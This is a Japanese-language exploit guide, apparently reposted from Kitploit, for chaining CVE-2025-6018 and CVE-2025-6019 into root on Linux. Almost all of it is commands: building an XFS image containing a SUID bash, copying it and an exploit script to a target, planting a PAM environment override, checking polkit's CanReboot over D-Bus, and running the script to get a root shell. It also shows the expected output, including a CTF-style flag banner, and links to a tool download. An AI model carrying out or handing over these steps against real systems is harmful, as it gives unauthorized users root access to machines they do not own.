CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit — CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Exploit | Kitploit

CVE-2025-6018 + CVE-2025-6019 権限昇格ガイド

📋 クイックエクスプロイト手順

ステップ1: XFSイメージを準備（ローカルマシン）

# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# Verify (should show 300M)
ls -lh xfs.image

ステップ2: ターゲットにファイルをアップロード

# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/

ステップ3: 初回ログイン - PAMを設定

# SSH login to target
ssh [email protected]

# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

# Verify configuration
cat ~/.pam_environment

# 🔥 Critical: Logout (to activate PAM config)
exit

ステップ4: 2回目のログイン - 権限昇格を実行

# Re-login via SSH (PAM config now active)
ssh [email protected]

# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot

# Execute privilege escalation script
bash exp.sh

✅ 成功の確認

エクスプロイトが成功した場合、次のように表示されます。

✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!

════════════════════════════════════════════════════════════
║ ROOT FLAG                                               ║
║ <flag_here>                                             ║
════════════════════════════════════════════════════════════

bash-5.2# whoami
root

🔧 トラブルシューティング

問題	解決策
`CanReboot` が `('no',)` を返す	ログアウトして再ログインしたことを確認してください（ステップ3）

📌 重要ポイント

✅ ログアウトして再ログインが必要：PAM設定は新しいセッションでのみ有効になります
✅ CanRebootを確認：スクリプト実行前に ('yes',) が返ることを確認してください
✅ SSHログインを使用：ssh -t user@host "cmd" 形式の実行は使用しないでください

🐱 猫の守護者

失敗した場合は、すべての手順が厳密に順番どおり実行されていることを確認してください！

ツールをダウンロード